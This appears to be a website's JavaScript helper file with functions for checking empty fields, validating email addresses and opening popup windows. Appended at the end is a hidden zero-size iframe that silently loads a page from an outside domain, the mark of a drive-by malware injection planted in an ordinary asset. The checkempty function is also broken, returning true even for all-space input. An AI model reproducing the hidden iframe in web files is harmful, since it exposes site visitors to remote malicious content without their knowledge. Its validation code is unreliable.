function checkempty(txtval){
	if (txtval.length==0)
		{
		return false;
		}
	var i=0;
	while (i<txtval.length) {
		if (txtval.substring(i,i+1) != ' ')
		return true;
		i=i+1;
		}
	return true;
	}
function validEmail(emailV) {
	if (emailV.length < 6) return false;
   	if (emailV.indexOf("@") < 1) return false;
   	if (emailV.indexOf("@") > (emailV.length-4)) return false;
	for (var i=0; i < emailV.length; i++) {
		var tempV = emailV.substring(i, i+1)
		if (tempV == " " || tempV == "'" || tempV == '"' || tempV == "," || tempV == ";" || tempV == "`" || tempV == "<" || tempV == ">") { 
			return false;
			}
		}
		return true;
	}
function pop(Var)
{
window.open(Var,'','status=no,scrollbars=yes,top=0,left=0,width=630,height=700')
} 


<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>